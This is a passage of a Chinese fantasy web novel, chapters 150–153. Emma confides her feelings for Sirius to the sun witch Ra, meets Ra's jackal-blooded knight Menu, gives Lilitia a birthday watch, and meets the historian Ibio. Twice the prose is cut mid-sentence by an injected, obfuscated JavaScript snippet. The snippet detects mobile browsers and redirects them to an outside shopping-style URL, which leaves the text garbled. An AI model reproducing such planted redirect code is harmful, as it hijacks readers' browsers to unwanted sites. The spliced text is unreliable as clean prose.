“哼哼,我知道。”拉心情很好地弯弯眼睛,声音却柔和下来,“那么,这么厉害的我能帮到你什么呢?” 150.夜晚 艾玛低下目光,沉默了几秒后,又抬起眼睛:“西里斯,就是跟我一起来的那个人。” “哦,你男朋友啊。”拉从记忆里锁定了关联对象。 “我想解开他身上的诅咒。”艾玛说,“那个诅咒出自‘海神女巫’,细节上还有很多不确定的地方,诅咒本身的术式极度复杂,我找不到头绪。” 拉摸着下巴思索:“海神的女巫,怪不得,虽然从未听说她们来到过陆地,一有消息就是这么大的惊喜。 “那个诅咒很难办,施术者为此支付了很高的代价,如果要硬碰硬去直接暴力解除,即使是我们也得搭上命。嗯,放着不管不行吗?” “那个诅咒对西里斯有很大负面影响,让他不会死亡,不会老去,不间断地听见鬼魂呓语。再继续下去,他的精神会先撑不住的。” 拉思考了一会儿,看见艾玛眼里隐隐的忧色,伸手戳了戳她的脸:“也不用那么担心。只是对我们来说,诅咒原本最简单的解法就是用魔法暴力破坏术式结构。 “女巫的魔力碾压性地胜过所有魔法师,这样最省事。但这个诅咒的施术者同样是女巫,甚至当初的她恐怕比现在的我们都要强,所以不能用这么不过脑子的法子。 “‘解除诅咒’最有效的方法永远是先研究术式本身,了解它的细节、条件和结构,明白之后,就能清楚该从哪里着手。虽然过程很复杂,但最终的解法未必很困难。” 拉说着说着,伸出的手指变成了手掌,捏了捏艾玛的脸颊:“但这方面,我能帮你的也不太多。你可以随意借用日神神殿的藏书室,但论知识收藏,月神神殿也绝无不足。 “纯粹从外部增强自己的能力有效但有限,为什么不直接去拆解问题本身?” 艾玛移开了目光:“这个诅咒,那些相关的记忆,都让他很痛苦。可以的话,我希望尽可能避免。” “你也太宠他了吧。”拉惊讶道。 艾玛沉默了好一会儿,才说:“其实,西里斯不是我的恋人。 “被人误会的时候,我总不想否认。因为不知道怎么解释我们的关系,很多时候他也不反驳。 “有时我希望那是默认,但我知道不是。” 她停顿了一下,又接着说下去:“我很早就认识他了,在我还什么都没有的时候。 “他救过我,给了我一个全新的生活,愿意为我做我要求的一切,但他始终把这些当成我为他解开诅咒所预付的代价。 “他只想要死亡,不向我要求任何其他。 “如果我对他的感情是感激,如果这样的心情只是因为,我觉得我能做的不足以回报他所带给我的,或许对我们都更好。 “他已经给了我很多东西,但我还想要更多。” “……这很糟糕。”艾玛沉默了片刻,眼睫颤了颤,“我知道不应该这样,但又不清楚具体该怎么做。 “我不了解自己,仍然控制不了自己的感情。我自己都明白,我真实的想法和我正在去做的事相违,而我需要的强大不是这样半吊子的决心就能抵达的。 “我该回报他,但我仍然不想杀死他,即使明知道他希望如此。 “感情解决不了问题,我也没有其他结束他痛苦的方法。这很任性。” 艾玛絮絮地说,神色里溢出惶惑的茫然,看向倾听着的拉。 拉说:“你真的很喜欢他啊。” 艾玛愣愣地看着拉的眼睛,好一会儿,突然无声地流下泪来。 “……是啊。”她说,“我一直不想承认。一直不想面对这件事。” 眼泪滴滴答答地落下来,艾玛的声音很低,在绷紧而疼痛的喉咙中发哑。 “我告诉自己,他不喜欢我也没关系。我该更懂事点,像个足够成熟洒脱的大人一样。 “但其实是我很害怕。我害怕这个任性的,怪异的,和正常人不一样的自己,会被他拒绝和讨厌。 “我想只要不承认,不去面对这种心情,说不定它就能慢慢消失,至少它的分量会没那么沉重,就算真的有失去他的一天,即使我恐惧的事真正发生了,或许到时我会不那么痛苦。 “可我很喜欢他,比我以为的还要喜欢,而且不是只要有这份心情就够了。这情绪比我还要不讲道理。 “我害怕去尝试,害怕变化之后的关系更糟,害怕最后的结果不是我想要的。而保持现状至少不会一无所有。 “……好讨厌这样的感觉。” 拉擦了擦她的眼泪,拥抱了艾玛。 新淌出来的泪水沾湿了她肩膀,拉拍拍艾玛的背,轻声说:“这很好啊。知道了自己讨厌什么,反过来,就能更明确自己想要什么。我们都不是一开始就能正确理解自己的。” 艾玛埋在她肩上默默地哭了一会儿,最后情绪慢慢平息了,只是仍然抱着拉,又沉默了一段时间。 拉也没说话。她们的呼吸落在彼此脖颈上。 “真奇怪啊。”艾玛轻声说,“我第一天见到你。我总是害怕自己不被别人接受,想要表现出符合他人期待的姿态。但在你面前,我好像很放松,觉得即使被看见最不堪的部分也没关系。” “所以说是‘一见钟情’嘛,对不对。” 拉摸着艾玛背脊上的长发,埋下来也蹭一蹭她肩膀,“日神和月神同源,以神明的尺度衡量,我们的诞生时间非常相近,说不定我们的灵魂有更早的缘分。真好。今天是我们第一次见面,我很高兴。” 因为拥抱的角度倾斜,柔软的床面不好支撑,两人抱着倒在了床上,拉哈哈哈地笑起来,艾玛也被带得笑了笑。 拉滚开半圈,侧躺在床上,眨一眨眼睛,和侧躺着的艾玛对视。 艾玛望着她,说:“你真的很厉害,看起来像是什么都能做到。” “其实,我也有害怕的事哦。”拉轻快地说。 艾玛思考一下:“不太能想象。” 拉伸出手,握住了艾玛的,头向她又靠过去一点。 她说:“我梦见过太阳。” 拉停一下,又措一下词:“或者说,日星,天上的球体。” “它总是很亮吧,虽然说是日神的女巫,但它亮得我也受不了,直视的时候眼睛会很痛。但梦里我靠近过祂。 “因为距离太远,平时我们看见的太阳,就指甲盖那么一点,可祂实际很巨大,我对祂来说一个指甲盖都不到。 “那样巨大的星星,整个表面都在燃烧。 “或许是错觉吧,梦里我越靠近祂,也越感觉到热。 “快碰到祂的时候,热得感觉自己每一寸皮肤都灼痛融化,又好像轻飘飘的,气体一样,就像我是祂正在燃烧的一部分。 “我想要去触摸祂的火焰,穿过的只有滚烫的气体,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749388|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有光都是抓不住而没有形状的。 “但我继续往里面看,往更深处去,我想看看更深处有什么。 “我往里面飘,但是越往里,火焰的热度越低了,我好像渐渐从气体又凝固回来。 “到某一个瞬间,光、火焰、热量、燃烧的声音,什么都没有了。 “那个梦里,太阳最深处的核心,是一片什么都没有的黑暗,冰冷又安静。” 艾玛感到与自己相握的手收紧了。 拉的眼睛是平静的,望着她,问:“艾玛,死亡是什么?” 艾玛收拢手,说:“一个地点。或许会经过很多次,最后会抵达的地方。” “像我梦里那样,很黑——很冷吗?”拉轻声说,“大声呼喊也听不见,没有其他人,甚至感觉不到自己,那还真寂寞啊。” “其实也没有那么可怕。不点灯的时候,夜晚也很黑很冷。就像太阳落下,月亮升起,时间到了,人们就要睡觉一样。” 艾玛慢慢地说,“完成当天想做的事情,准备好睡衣,被子,舒服的房间,夜晚和睡眠就不需要恐惧,甚至值得期待。” 拉闭上眼睛,低低笑起来:“嗯……听得确实有点想睡觉了。” “是不早了。”艾玛说,“不过只是小睡一下,太阳明天还要升起来工作呢。” 拉闭着眼睛说:“太阳今天已经下班了,明天的事情明天再说。” 她又想起什么,睁开眼眨一眨:“月神女巫晚上不需要睡觉吗?” 艾玛说:“以前还是习惯晚上睡觉,现在倒是夜晚越来越清醒了,反而有时白天会很困。 “毕竟是人类的身体,需要适当休养,所以还是按照普通人的时间排表规律作息,实在不行偶尔午睡补个觉。对女巫来说没什么问题。” 拉盯了艾玛一会儿,说:“我给自己染头发的时候,喜欢把后半截尾巴染成橙色红色,做成金红的渐变。因为印象里的火焰总是这样的颜色。 “我小时候觉得,‘菲尼克斯’既然是燃烧的火焰鸟,应该要有金色的眼睛,为此还莫名其妙地生过一阵子气。 “但是今天见到你,艾玛,你的眼睛是金色的。非常漂亮,很适合你。” 拉笑着说,“或许就是为了今天遇见你,我才有跟你不同颜色的眼睛。” 艾玛说:“金绿色的火焰也会很漂亮吧。拉现在就哪里都很好。” “哼哼,接着夸我吧,我马上就要很得意了。” “我也很高兴今天见到你。”艾玛柔和地说,看着她的眼睛,“你有我所不能想象的东西。看见你,我才明白,‘我还可以这样生活’。” “那我帮到你了吗?”拉笑着问。 “帮到了。”艾玛肯定地回答。 拉很满意地一闭眼睛:“真是充实的一天——好困,我想睡了。” “嗯。” “艾玛你要是不困,也陪我躺一会儿当休息吧。” “好。” “……神话里,我看人们说,睡眠是一种暂时的死亡。人类入夜而眠时,天空中的月亮就支配着夜晚,掌管睡眠和死亡。” 拉握着艾玛的手,将它贴到自己额头上,“或许是真的呢。你在我旁边,感觉死亡也并不可怕。今晚似乎能做个很好的梦。” 艾玛笑一下,轻声说:“那就祝你有个很好很好的梦吧。” 151.梅努 天渐渐亮起来的时候,倦意才缓慢地包裹了艾玛。 拉房间的窗帘有两层,外边那层厚实的被打开了小半,另一层半透的纱布帘飘飘笼着清晨的日光,带着暖意照上地毯。 拉比艾玛早醒来,起身时艾玛朦朦胧胧感觉到动静,又在环境中放松,因此一时不急于任何动作。 拉打了个哈欠,看见地毯上熟悉的影子,习以为常地抓了抓头发,赤着脚踩到地毯上,坐在床边,用法术从地上拾起一块积木,抛出去。 正坐在地毯上搭积木的少女接住了她抛来的零件,晃了晃耳朵:“早上好,拉。” “早上好,梅努。” 拉整理耳边的碎发,食指点了点嘴唇,带着倦意的声音低低的,“艾玛还在睡觉。” 少女头顶尖尖的耳朵斜着压下了一只,身子也微微仰过去,好奇的目光落到床上,但很快直回身点一点头,表示理解:“客人。” 拉站起来去找替换衣物,现场用法术给自己烧水,抽空看见桌面上多出来的文件,然后翻了一会儿。 叫做梅努的少女坐在地毯上接着搭积木,毯面上不够平整,搭积木欠缺稳定,她一时手滑,又推倒了几块,但在地毯上没落出什么声音。 她立时抬头往床上看了一眼,确认积木的动静没吵到客人,又放心继续玩了。 艾玛多躺了十几分钟,就从床上坐起来。 拉给她拿了杯热水,她接过道了谢。 坐在地毯上的少女很快竖起耳朵,向艾玛望过来。 拉替她做了个介绍:“这是梅努,我的监察骑士。啊,严格说来,她分在巡防营,监察负责的是神谕祭司。只是事实上,梅努平时直接听我的安排更多。 “梅努,这是艾玛,从阿瓦托芬来的月神女巫。” “你好。”梅努看着艾玛说,身后搁在地毯上的尾巴轻轻晃了晃。 艾玛打量她,有点惊讶。 梅努留着黑色的齐耳短发,发丝很直,头顶生着一对尖耳,黑色的耳背,正面的绒毛却是浅金色的。 她头上别着两三枚发卡,绿松石和青金石镶在金色的夹子,还有一个显眼的柠檬发卡。脖颈上戴着颈环,配着长长链绳的颈饰落在她棕色的皮肤上。此外还有些别的装饰,很有时尚的搭配感。 她有一双深紫色的眼睛,却很清透灵动,望向艾玛时,眼里坦坦荡荡地露出全部的好奇,身后那条掺着金色的黑尾巴也安静放着。 但让艾玛有些意外的是,梅努在外表上看起来很成熟,带一分令人凛然的野性生命力,但她的神情语调与这外表不甚相符,带点异样的天真。 “该从哪里开始说明,我想想。”拉坐到艾玛身边说,“我十岁就认识梅努了。还在贝努的时候,她就一直跟我一起生活,对我来说就像家人一样。实际上,她现在有二十六岁,比我们都大。” “梅努是胡狼的混血,在兽群中长大。我幼年和兄长出门远行,为了长见识和好玩,在沙漠中偶然遇见了她所在的兽群。 “很奇妙的,梅努一看见我就安静了,不像其他兽类会吼叫威胁。 “在我们要离开的时候,她突然从兽群中跑出来,直直冲到了我面前,也什么都不做,只是看着我摇尾巴。”拉眯着眼睛笑起来,“很可爱吧,像小狗一样。” 梅努觉得这话是在夸她,高兴地扬起脖颈,尾巴一甩一甩。 “在兽群中长大的混血,向来很难适应人类社会。但梅努很听我的话,悟性和适应力也高,现在对人情常规已经差不多了解。 “只是性情特别直率,有的地方比较孩子气,都不是什么大问题。我要来赫克米洛斯,她就跟着来了。” 拉喝了口水,“她的监察骑士职位是我指定的。梅努不擅长处理文书,吉尔那边不太帮得上,她的长处是‘找东西’,天赋的法术能力,非常好用,平常好多人找她帮忙呢。 “上次有人办过一回‘寻宝大赛’,因为梅努太快把目标物全部找了出来,不得不叫停了。” 梅努语带骄傲:“后来他们让我当裁判。” “昨天本来是让梅努也一块去接你,但最近快入冬了,城里事情很多。有人找梅努帮忙,她也对那边的活感兴趣。我想吉尔一个人搞得定。”拉放下杯子,往艾玛身上一靠。 “吉尔伯特先生很紧张。”艾玛替他说了一句。 “他最开始对我也很端着,又是货真价实的日神信徒,动不动就很紧张。现在有时对我已经敬语都端不稳,时间长了就适应了。”拉随意地说。 艾玛喝了口水,不发表看法。 拉又转向道:“梅努,昨天过得怎么样?” 梅努伸手比划:“他们要做箱子,收纳过冬的东西,衣服,食物什么的。有石头箱子,木箱子,还有藤条编的箱子。编藤条很有趣,那个姐姐手很巧,后来还教我做了发卡。” 梅努站起身,走到她们面前。 坐着已能看出她不小的骨架,起身更显出高来。 她向拉倾一倾头,指了指头上那枚柠檬的发卡:“昨天做的!这个是水果,那个人的法术可以把它保存下来,还能放大缩小,很厉害,虽然看不太懂。” 拉摸了摸那发卡上的半个柠檬:“颜色真不错,还有水果的香味。” “她切了一半做这个发卡,水果的另一半我舔了,特别酸。”似乎是回忆起那酸味,梅努皱着眉吐了下舌头,“不过后来用它加了蜂蜜泡热水,很好喝。” 梅努的目光落到艾玛身上,似乎想了两秒,直起身,从腰包里摸出另一枚发卡,递给她:“这个也是昨天做的。没有去接你,对不起。” “没关系,谢谢你。”艾玛接过它,发卡上是柚子的切片,看来今年有不少丰收的水果。 “梅努好像也很喜欢你。”拉笑道。 梅努不答,只是又看一眼艾玛,摇摇尾巴。 拉腾出双手给艾玛梳理了一把头发,拿过那枚夹子:“我帮你别。” 梅努又绕到床另一边,从包里拿出另一枚发卡:“苹果的,给拉。” “你帮我戴吧!”拉忙完自己手上的,背对着梅努往她身前一靠,又对艾玛夸耀道,“梅努眼光很好,很喜欢服装首饰搭配,她现在的打扮都是自己搭的哦。” “很好看。”艾玛夸奖道。 梅努低着眼睛给拉理头发,没什么表情。 她外表成熟帅气,沉默不语时格外显得难以接近。只是垂在身后的尾巴永远很诚实地反映了主人的心情。 “等会儿要去工作了吗?”梅努问拉。 “今天不工作!艾玛才来到赫克米洛斯,还有好多地方没看过,我们去逛街!”拉一把揽过艾玛,揉了揉梅努的头,“梅努也一起!” 做下决定,拉很精神地开始准备。 艾玛犹豫一下:“西里斯那边……” “吉尔会安排好他。” “但是,他一个人,要逛街的话,或许跟我们一起……” 拉回过身,手指点在艾玛嘴唇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754375|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,示意暂停:“打住!你要是跟他在一起,就会太顾忌他的心情。他心情不好,你也跟着心情不好。 “所以,艾玛,你现在的当务之急,是先把他从脑子里扔出去,然后自己玩得开心!等心情好了再去考虑麻烦事,困难解决起来也会变得容易。” 拉说话底气十足,总是很有说服力。 艾玛仍然迟疑了两秒,又在拉拽她换衣服时接受了这项建议。 今天天气很好,梅努把窗帘拉开了。 艾玛看向窗外,忽然想到什么。 . . “‘好久不见’,我还以为再见面时能这么说。虽然昨天我没去送您。” 利利提亚从桌前起身,目光打量过来人,“您看起来像正在享受度假,这么快中途回来,是落了什么东西?” 艾玛也估计自己有一副度假中的打扮,她自己没什么想法,拉和梅努倒是给她做了不少搭配,现在身上丁零当啷的。 荷尔贝拉也正在利利提亚的办公室里,见到艾玛远远行了礼。 利利提亚离开办公桌,向艾玛走过去。 艾玛向他递出握着拳的手,利利提亚会意,伸手在她收拢的手心底下盛着。 艾玛一松手,一条银色的链子带着吊坠从她掌心滑出来,掉进利利提亚手心里。 “生日快乐。”艾玛言简意赅地表明了来意。 她松开手指,倾斜着让挂在指根上的链子也滑下来,把另一只手抱着的花塞进他怀里:“想起今天的日期,就在赫克米洛斯逛街的时候顺便挑了礼物。花挑了香味淡的。我想你办公室有花瓶。” 利利提亚握住吊坠,缓慢地眨了眨眼睛。 “真意外,您还记得。”他回过神道,“至少刚发生过那样的事,我以为您还生气呢。” “算两码事。”艾玛淡淡说,“看起来还要跟你相处不短时间,但可能也不会太长。生日毕竟过一个少一个,感觉没几年,还是珍惜一下的好。” 利利提亚停顿片刻,笑着叹息说:“您真温柔啊。” 他指腹抚过手里椭圆形的吊坠,银制外壳上雕着精巧的花纹。按开侧边的按钮,吊坠盖子弹开,露出正在走字的表面。 这是块怀表,不过很少见的,是椭圆的形状。 利利提亚合上表盖道谢:“很精致的礼物,我很喜欢。只是我有点好奇——为什么是百合花?” 表盖上的雕刻赫然是百合的纹样,艾玛塞给他的更是一束刚剪下来的新鲜白百合。 “因为,你名字的发音,开头不是很像百合吗?”艾玛说。 利利提亚愣一下,笑出声来:“嗯,这么说,是的。取名字的时候没有考虑到。但百合的花语跟我很不像,让我有点意外。” “那确实是。”艾玛赞同。 “百合也有祝福的含义,我会珍惜这份礼物。”利利提亚弯起眼睛,“听说很多地方有‘在怀表内侧放置喜欢的人肖像’的习俗,我可以在这块怀表里放您的画像吗?” “那不是很奇怪吗。”艾玛说,“放你自己的吧。” “真让人为难啊。” 艾玛侧过身:“我没什么其他事,只是回来一趟,东西送到,我也回去了。还要在赫克米洛斯待一段时间,阿瓦托芬这边麻烦你了。” “您客气了。”利利提亚笑着说,“您选的是这个生日,我很高兴。” “这是你自己选择的日期,你不后悔就好。过得开心。”艾玛挥挥手,走了。 152.历史祭司 利利提亚目送她离开,又打开怀表,看了一会儿,合上表盖,看着手里的百合思索。 他把怀表放到办公桌面,从房间角落里拿了个装饰花瓶。 花瓶和里头插着的假花都落了许多灰,瓶底更没有一滴水。 他把假花扔进垃圾桶就出了门,过一会儿带着装有清水的花瓶回来了。 荷尔贝拉站在房间一侧等待。 利利提亚把百合花插进花瓶里,转动花茎打量。 他没什么表情,但荷尔贝拉看得出,他心情很不错。 利提亚不喜欢装饰品。她很早就知道。 尤利乌斯家未来的继承人,每逢生日都会收到数不清的贺礼。 但房门关上之后,看似欣喜的微笑就从他脸上剥离了。 他还是会拆开检查所有的礼物,出于社交礼仪,要为其中几个贵重的礼物或赠送者写感谢信。 即使那东西他看过一眼就扔去了杂物间积灰,直到它被扔掉的那一天,连父母赠送的也不外如此。 他毫无布置装饰房间的兴趣,把这工作扔给荷尔贝拉随她安排。 荷尔贝拉此前从未受过美学教育,手足无措,利提亚又跟她讲自己从美术课上学来的审美规律。 他的规律总结极其单调,是一种为应对他人目光而产生的功利公式。 荷尔贝拉听不明白。 利提亚干脆带她去美术课旁听,美术教师倒也没有太介意贵族少爷带侍女上课的癖好,顶多觉得他娇惯。 他在美术室里画作业时,荷尔贝拉在一边看房间里装饰的画作。 尤利乌斯·盖乌斯收集了许多名家的真迹,以炫耀其品味和财力,实际对所谓的艺术全不上心。 那许多画作就展示在宅邸里,画室中还堆着许多。利提亚平时也不会多看它们一眼。 上课时美术教师曾对着画作侃侃而谈,讲画师的生平。 荷尔贝拉屏住呼吸,在近处观赏真迹的笔触时,想起它们背后的故事,因为震动而流下泪来。 回过神的时候,她注意到利提亚正在看她。 眼泪把视线模糊了,她没看清利提亚的表情。 慌忙擦掉眼泪后,利提亚已经低过了头继续画作业,什么都没说。 装饰性的礼物,如果荷尔贝拉不选用它们来点缀房间,大都再也不会出现在她的视野。利提亚也不止一次地表现过对那些多余物什的厌烦。 只有实用性的东西好一些,至少他不会扔掉,或许还能放在身边用上一段时间。 因此每年生日,荷尔贝拉都会给他准备具有实用价值的礼物,像是空白的信纸,石笔和墨水,这类可以使用的消耗品。 利提亚收到时并无不悦,虽然也看不出高兴,但至少没扔掉。 尤利乌斯家的继承人不缺这些东西,但比起无用的装饰品,她想这起码是保守的正确答案。 装在花瓶里的百合花是纯粹装饰性的,甚至开放几天就会枯死,没有实用价值,连装饰意义都短暂。 利利提亚的时间感很好,基本靠看天色就能判断时间,也无需怀表。 但收到这些,他看起来确实很高兴。 毕竟是女巫殿下的礼物。 荷尔贝拉垂下眼睛,想。不同也是理所当然的。 利利提亚放好了花,回过身来,叫荷尔贝拉继续讨论工作上的事。 她反应迟了一拍,脑子有点乱,磕绊一下,对工作的熟练占回上风,仍然把事情讲完了。 利利提亚向她安排了几个要处理的问题,荷尔贝拉记下来。 她写完记录,抬头看见利利提亚又在看那块怀表,心微妙地空了一会儿。 表咔地合上了,荷尔贝拉一愣,利利提亚向她说:“你很在意?” 她一惊,舌头有点打结似的:“不,我只是……我以为,您不太喜欢装饰性的礼物。” 啊。荷尔贝拉想。蠢话。 不该说的。女巫当然不一样,她跟艾玛没有可比性。 这话有什么意义?为什么要讲? 利利提亚皱起眉,似乎很困惑的。 他说:“你也从来不送啊。” 荷尔贝拉愣了一秒。 愣了两秒。 愣了半分钟。 利利提亚已经回头去收拾桌上的东西了,她仍然呆愣着,好一会儿才回过神,突然说:“那我,我再送您一份。” 利利提亚的疑惑显然,视线落在桌面:“你今天不是已经送过了吗?” 桌面上有瓶崭新的墨水,是荷尔贝拉今早刚刚送他的生日礼物。 “我,想起,还有东西要给您,落下了。”她说得磕磕绊绊,借口都难以成形,“您稍微等我一会儿……我很快回来!” “哦……”利利提亚看着她猛地转身离开,也不理解荷尔贝拉突如其来的情绪起伏。 她那些过于细微的心思和考虑太难懂,他向来不明白。 随便她吧。利利提亚想。 . . 来到日神神殿的第三天,拉终于得回去工作,提前知会了艾玛,一早就出门了。 艾玛睡了半个上午,因为规律的生物钟和作息习惯,还是较早地起了床。 吃了点昨天逛街时打包回来的点心,仍然决定出门晃荡。 拉这两天都带她在城区转,神殿本身反而没怎么走。 据她所说,日神和月神的神殿构造差不多,艾玛即使不特意了解,也很快就会熟悉。 艾玛于是放任自己的直觉,准备走到哪里算哪里,随便看看。 路上遇到日神神殿的职员,他们大多都没有穿什么统一制服,所以看见平常着装的艾玛也不意外。 虽然不认识,有的还会跟她打招呼。 赫克米洛斯的性别比跟阿瓦托芬相反,这里男性很多,艾玛稍微有点不习惯。 她凭感觉往安静的地方走,人越来越少。 走到一处转角,艾玛有所预感,往后退开了些,从转角走过来的人却抱着叠书,被书本阻碍了视线,没注意撞到了艾玛。 那人也吓了一跳,书堆哗啦啦倾斜,他的抱歉和惊叫都卡在喉咙,一时不知道先发出哪句。 艾玛被撞得不重,顺惯性退了两步,还用法术帮他接住了掉下的书。 “抱歉抱歉,我没看见这里有人——你没事吧?”那人看见艾玛表情平静,还有用法术浮在空中的书本,松了口气,“谢谢,真是不好意思……你反应好快啊,真厉害。” “没什么。”艾玛帮他把书还原回原本堆叠的排列,在空中举着它们道,“这个是要放到哪里去吗?你拿着这么多,很不方便。” “我本来是要去找推车,但仓库的推车好像被人借走了。真是麻烦你——你是,哪个部门的职员吗?”他有些尴尬,“抱歉,我平时接触的部门比较少。” “我叫艾玛。”她介绍自己,“是这两天刚来到日神神殿的,你不认识我很正常。” “啊,这样啊。”男人似乎想推一下眼镜缓解紧张,但他并没有戴眼镜,脸上空空,更加尴尬地移开了视线,“你好,我叫伊比奥,文礼司所属的历史祭司。” 伊比奥留着黑色的短发,仪容干净却不算非常整齐,着装随意,看来不太在乎打扮,谈吐却很有修养。 他说话的语调偏低,温和且含蓄。 艾玛注意到,他有一双金绿色的眼睛。 这样的眸色不常见,何况她刚刚见过拉。 但伊比奥的眸色比拉深一些,更偏向绿色。 意识到艾玛在看他的眼睛,伊比奥更不自在地把目光挪开了:“抱歉,你……艾玛,可以请你陪我把这些书放到旁边的宣传部门办公室吗?这是那边的同事需要的资料……那里,那里人很多,你不用担心,我没有其他意思。 “因为你看起来很擅长魔法,如果这对你来说不算太困扰的话。我要是再撞到人就不好了。” “嗯,我没什么急事。”艾玛说,“那请你带路吧。” 艾玛陪伊比奥去宣传部门放了资料,一切顺利,伊比奥婉拒了同事的茶水和聊天邀请,对面也习以为常。艾玛同样拒绝之后跟他一起离 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伊比奥看她的反应,放松了一些:“艾佩庇里亚曾经非常繁荣,据说它的女王能点石成金,数量之多可以铺满整座首都,因而有‘黄金之城’的美誉。但自艾佩庇里亚的突然覆灭之后,那些传说中的黄金全都不知所踪。 “它留下了无数谜团和传说,传说里满是那个时代的珍奇宝藏。很多人对它的历史感兴趣,因为想从中找出有关宝藏的线索。但你看起来不太像。” “我对那些不清楚,还是第一次听说。”艾玛道,“你看起来很了解艾佩庇里亚。” “我很喜欢它那段瑰丽的历史。无数的物件遗留、文字资料都证明着,它真的创造过无数梦一般匪夷所思的奇迹。没有历史学者会不对它的经历好奇。 “只是谜团太多,可以考证的根据又太混乱。魔法需要想象力,而历史中许多超乎常理的个体所创造的事件,超出后来人所能企及的范畴。 “首先不能想象,其次即使有所假想,因为个体能力的不同,又无法对历史的实际情况给予证明。” 伊比奥叹了口气,无奈道,“我偶尔会想,在有魔法的世界里考据历史,确实太困难了吧。除非像女巫那样强大的魔法师有兴趣当历史学家,什么的。” 他摸了摸后脑:“如果你有什么物品损坏了,尤其时间不太久的,我的法术大都可以修复。我能做到的还原受时间和多种因素限制,但日常里还挺够用的。不过,你好像很厉害,或许不需要。” 艾玛摇摇头:“你也说,历史很宏大,没有人能够穷尽。我知道艾佩庇里亚的历史不完整,只是想多了解一些它的细节。如果你在这方面有研究,希望能给我一些建议。” “这样的话,没问题。”伊比奥说,“我研究艾佩庇里亚的历史时,做过一些笔记,总结过推荐参考书目。最近暂时用不到,如果你需要,我可以把笔记借给你。” “那太好了,谢谢。” “我的笔记放在历史修复部门的办公室,今天我助理不在……呃,我的办公室那边,没有其他人。你介意和我独处的话,或许,改天。”伊比奥犹豫一下,又移开视线。 他跟艾玛说话时,全程保持着半米左右的距离。 艾玛并没那么迟钝,看得出伊比奥不是反感她,而是性格非常内向。 虽然交际能力正常甚至优秀,但他的表情和小动作无一不显示着他很想从不熟悉的人面前离开。 内向的人顾忌考虑往往很多,他反过来从艾玛的视角思考,所以反而担心艾玛会介意和陌生人太接近。 “我没关系。倒是你今天才见到我,就把贵重的笔记借给我,不会不放心吗?”艾玛说。 “只是一些个人总结,没有那么贵重。”伊比奥摇头,“历史如果不被人了解和记忆,不被人所认知,在某种层面,它将等同于未发生。我一直认为这是最可惜的事情。 “你对这段历史感兴趣,愿意了解它,这让我很高兴。你不介意我的总结经验浅陋才好。” “你太客气了。”艾玛说,“我想看一看那本笔记,麻烦你了。” 153.伊比奥 拉只身踏过走廊时轻盈迅捷,如一阵流动的风。 那风在廊中一滞,缓慢沉降,然后不急不缓地落下来。 拉停下脚步,扬起一边眉毛:“哟,真巧啊。在找人吗?” 西里斯看着她,说:“艾玛呢?” “可能还在睡觉,也可能出门散步去了。我的神殿不是那么没规矩的地方,你大可不必担心。” “这里已经够没规矩了。”西里斯说。 拉笑,却不恼:“还真是没礼貌的客人!” 西里斯说:“我不担心艾玛,她做事有数。你的神谕祭司给我安排了住处,介绍完注意事项就去忙了,然后由我随便走去哪里。 “如果你们待客从来都那么松散,赫克米洛斯现在还没灭亡确实称得上奇迹。” “他国别有用心的来客提防一下还算得上必要,提防你们有什么意义?”拉轻松地望着他,“你很危险吗?” 西里斯答:“如果你不那么认为,我确实说不了什么。” 拉偏过头,视线又从上到下将他扫了一次:“艾玛说你叫‘西里斯’。这名字还挺适合你,适合得像你给自己取的。” “我知道女巫的直觉很敏锐。” 拉向前走了一步,靠近打量他。 她的视线笔直,西里斯没什么感情地回望。 拉盯着他,忽然说:“你擅长干什么?” 西里斯已经若有所感,冷淡简洁地回答:“制毒。” “哦!那就是医疗,不错啊,我们这边医疗部门很缺人来着。”拉流畅地完成了翻译解读转换,还颇满意地赞赏。 西里斯有印象。 日神信仰中的医疗方式直接粗暴,讲究通过“患者自身的毅力与信念”得到康复,相当精神论。 “要勉强本身就已经很虚弱了的患者强打精神简直是虐待”——克蕾娜提及时甚至咬牙切齿,看起来颇有怨气。 罗穆卢斯中日神信仰也盛行。克蕾娜本身不是狂热的月神信徒,但恐怕单论医疗理念不合这点,就足够让她在信仰二选一时坚定得毫不犹豫了。 “我觉得你很不错!看起来聪明懂事,还有情感非常强烈这点我很中意。要是你留在这里,艾玛也会经常过来。” 拉眼神明亮,嗓音轻快,“如何,考不考虑留在日神神殿为我工作?” 西里斯目光动了动,半低下视线,模糊地叹了口气:“你这点上跟阿嘉蒂辛还真像。” “‘阿嘉蒂辛’,”拉停顿一下,“——上一任日神女巫的名字。” “你记得她?”西里斯说。 “多少看过历任女巫留下的东西,又是跟我最近的一任。”拉抵着下巴道,“她比我个性认真,日记写得像工作笔记,留了一大摞,太厚了我懒得看。 “虽然猜到你年纪不轻,只是没想到连上任日神女巫都认识。你觉得我跟她相像?” “她向我发出过差不多的邀请。”西里斯说,“但她给不了我需要的回报。” “那真遗憾。不同的女巫能力也有其边界。但我可以肯定,”拉说,“——我比阿嘉蒂辛更强。” 她的语气平常,不含炫耀,只是轻松而确切地陈述,像说一件理所当然的事。 光线在那对金绿色的眼瞳里稳定流转,从无颤动与偏移。 “我相信。”西里斯说。 他思索片刻:“艾玛跟你说了多少我的事?有关艾佩庇里亚的。” 拉诧异一下:“‘艾佩庇里亚’,你很熟吗?” 看来是没讲过。 西里斯回答:“我在那里生活过。” 